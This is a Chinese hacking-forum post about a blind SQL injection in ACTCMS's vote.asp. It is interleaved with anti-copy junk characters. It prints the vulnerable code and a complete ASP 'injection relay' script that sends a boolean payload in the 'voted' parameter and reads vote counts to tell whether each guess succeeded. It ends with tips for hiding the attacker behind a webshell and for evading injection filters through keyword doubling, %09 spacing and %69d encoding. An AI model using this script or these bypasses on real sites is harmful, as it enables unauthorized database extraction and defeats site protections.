注入中转的高级应用，actcms漏洞以及其他

admin

4 [, |7 Y% o+ F2 W: {看到ninty大牛的blog的一篇文章
, p9 z$ K, @, F# m0 R链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
/ t5 o! S0 u' o. u6 U漏洞文件：
/plus/vote/vote.asp
% h7 Q, k  M2 |' }: W+ f) p代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

  X' H' w! Q& G! Z* R2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
( `! C' b5 R9 C* Q
0 t1 w% P+ i. L; L3 |) v( ^8 N3    response.end   
) M; L9 X! N4 G% J* E" W
4    end if   

  X9 z7 Q4 }* M- }5    for i=1 to request("voted").count   
& K9 X# j5 m0 \: c$ |* M& u& _- I2 a
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
8 K( J. ~6 t$ Z3 z. w& ?# }7 l1 W2 M
5 t. |; X* c9 M; b7 W7    next   

8....   

6 \4 z' p; `9 Q- u+ E# j( P9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
9 R( X9 r: ]2 g: a如果投票成功票数加1
6 v8 J5 G7 Q) \, P            失败票数不变
8 D+ S% Y' U( O如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
- X. ^/ Y$ @9 |% B5 M
' I/ j2 j4 W+ Z% x2009-12-27 13:20
, `& a& V$ |# v; t% v6 g% U
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
1 O6 |$ t2 _8 q. y. @5 s
. P) i. ]# H5 E$ K: k6 I# Y& F本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
6 ~8 W/ [1 t6 l4 E( f# t先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
* T, T$ n  s$ ~) x% L$ e' M! v; W注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
$ B4 W) Y4 H# h3 e4 S, T
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
) R7 g: R, u- ~
02JmdcwName=request("jmdcw")
7 b: A3 ^4 v: T* t
0 j0 P  G# d9 [9 N' |/ i; ?03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

7 R6 |7 ?: ]8 |5 M5 a04JmStr="id=1&voted=-1 or 1="&JmdcwName

, j% ^( j$ s4 h! F$ Y8 y  b05JmStr=URLEncoding(JmStr)
. I3 d  y. j9 p% I/ |
9 l3 ]" T; {6 U5 ]+ o06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

8 F- o7 u8 u3 R* |2 g08testurl=testurl & "?" & JmStr
8 |1 ]) Z) o8 A* n; `) w
09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
# b3 g. H; j: U& k6 H0 U
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
( I; {$ y3 g$ w
12JmCok=replace(JmCok,chr(32),"%20")  

. j$ w$ K' N5 q$ }8 Y13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
8 v+ ]: I, D" T. E
  V& p: n8 H" _) ?' i' {6 F14  

15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
& ~* n+ M5 B+ K/ z! a$ T" T  m
16  
' j" m+ J, |) h! l9 \, X
* H1 p0 Y7 `4 N+ x17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
+ T# i" W" K7 A1 [5 J  F2 }/ L/ _
18response.write test1&""&test2&""

0 P/ Z7 j* {6 g% G0 v+ d7 Q19  

20if test1=test2 then '如前后记录相等，表示失败
! [. P* Q$ k( h- |0 F4 t& Z
# i8 F2 A: W7 r21  response.write "failed"

22else
3 r. Q; c, h2 \9 i0 t
9 @% c7 C( l1 M4 ^% }6 O( c! t23  response.write "succeed"
+ X" F  E0 y5 J# d8 C2 {% b9 n/ a
" t6 `9 c, R1 [, r! n5 N$ c24end if  
  j' J" Z5 G, N* R  `1 g* Q
0 |3 ^0 k! a& ~  u* C9 w) f25  

7 B$ B, m0 J' L! [$ R26response.write "by 3x"

  g, k5 m5 H' ?5 R$ S: d8 x/ Q27  

8 k1 E( B7 @1 o% |. f# v7 x2 w0 q28  

4 i3 v/ m+ Y  d: Q9 {: [29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
, e( R& L3 f: I. T6 e8 u: f- |, u. x
30Dim Http

- }' T# u" f8 E3 e$ k' F31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
% ]2 I" l0 E5 T
32With Http

33  

& r% s. r: h) D0 i) C8 R" S5 r34.Open "GET",PostUrl,False
8 J/ e5 Q/ r8 i: j* s# P: y
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
) y  M1 {3 c) e9 g, D0 }
36.SetRequestHeader "Referer",PostRef

5 {& X1 M: @% k) a( _37.SetRequestHeader "Cookie",PostCok
, I$ n  z$ @+ s- R
) h; |- G5 M% H% @' H4 I38.Send ()
' i/ c& n+ n, D' c' E: V0 |( H- X% x
39PostData = .ResponseBody
0 D4 t% G( c( ]! D9 T' ^8 T+ m
( T6 n, I2 E/ U) ]$ t40End With
  E! _3 A+ _: M: X% M
) h- q7 H$ e; j6 \8 O: U41Set Http = Nothing
. C) x- E% O3 ^" N4 N: v5 A
42PostData =bytes2BSTR(PostData)

0 X9 |/ d; X  C7 s43End Function

! l% E' r& Z" [5 d) [4 w44  

45  

  w- v8 F! M' E4 a46Function bytes2BSTR(vIn)

47Dim strReturn

48Dim I, ThisCharCode, NextCharCode
0 s1 O' @6 Y" S. w+ ^+ k: |+ }; c1 I
* P* t! r8 ~, Y2 _49strReturn = ""
2 R. j5 f9 I! m9 N' b: F
) a% y  \2 [; h: z& E% B50For I = 1 To LenB(vIn)
1 ~! o0 a/ o' f, x  m: q9 a9 m
51ThisCharCode = AscB(MidB(vIn, I, 1))
4 |/ p6 l9 K- \
4 j# C* e" O3 U( }  n6 z7 T52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)
3 f# N: R# r5 f3 N; Z) ^
54Else

1 w5 Z+ B0 G' k. Y9 N# ~55NextCharCode = AscB(MidB(vIn, I + 1, 1))

1 @. Z4 B. k# W% r6 o( S56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
( e2 n: `& r8 ^0 V' P* q% p5 T
57I = I + 1
3 o% l! s. b3 P- d
. d5 P: E* {6 c8 c$ @( q58End If

; d- @1 M) S& H  o& {( V  L59Next

/ W+ t! K. u5 S, Z* r( f5 r6 }/ j60bytes2BSTR = strReturn
% t2 i1 X% F% Y6 `/ I; ~
% Q, P% b0 ]- u2 k2 N) S61End Function
& f% F2 s" _0 W4 C* V5 v
2 K' z3 `6 ~  m9 C( I7 p: t62  
: P6 M. q# }/ c2 B
+ f7 G6 W3 ~* O9 m8 G! ?( Y* j/ l; Z63Function URLEncoding(vstrin)  

64strReturn=""

65Dim i
. R: z; M! y7 y& c+ L+ M( j
- C$ |5 P, D+ D0 q! E' a66For i=1 To Len(vstrin)

67ThisChr=Mid(vstrin,i,1)
" n% n# i% K9 l: ?
68if Abs(Asc(ThisChr))< &HFF Then

69strReturn=strReturn & ThisChr

; P  r% y6 v7 r) j70Else
  Z$ r0 X+ Z; i( T; T3 z6 u
71InnerCode=Asc(ThisChr)

72If InnerCode<0 Then
' e, T6 Z1 M* p: {0 J4 D4 Q
73InnerCode=InnerCode + &H10000
& H5 O$ R/ [2 v$ ~* p
74End If
' g4 p& c/ _" k1 }: |
7 H* ~& v" O4 b% U7 ~0 _* l75Hight1=(InnerCode And &HFF00) \&HFF
0 O. o2 u! ?& _& J! X( G$ m
76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
/ y9 Q: ?" y' {( m$ _7 A9 O
78End if
" _  I  X; D, ?! U* ]) o; @" P
, `7 _& O% D. S2 B" N, l79Next

80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
2 ~! w, X5 u, X& Y/ e0 k
$ O2 H* l* y. _4 S0 |! n+ h83URLEncoding=strReturn

8 \) i5 u9 g: C: ~: r( i' X! A84End Function
" A5 l9 \# [3 Z6 G& v  Y. o: ~
85  

2 x: f! M% ~, J5 u86function getSt(body)

1 b2 R5 N8 B' A; N3 i87  startpot=instr(body,"投票人数：")+len("投票人数：")
/ i6 [' e- u2 ?3 W5 d0 C- T; F
* [9 ^. |4 t) K: K, R: G88  endpot=instr(startpot,body," ")

4 b/ o( D5 b: Z1 i4 M7 Y89  getSt=mid(body,startpot,endpot-startpot)

90end function

% P1 l+ ^$ s$ n3 {+ V5 K. f91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
% R+ q$ j. I* x3 J测试下效果：
  w/ m3 ?6 r, g9 \投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
# F  A+ [2 n/ N1 H5 _7 ~7 s
2009-12-27 13:29
投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
( q1 p+ D" d2 c* e
$ r3 P' f1 U: M+ }4 y1 A7 }% W0 z8 @. h2009-12-27 13:29
-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
* v' d8 ?% Y5 A4 F8 K7 B, ]-------------------------------------------------------------------------------
. E. s; n7 y6 h. h) u% j! @
# @1 [, J. n$ w' l( D注入中转的一些其他应用
" P% z6 E1 }! N1 z其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过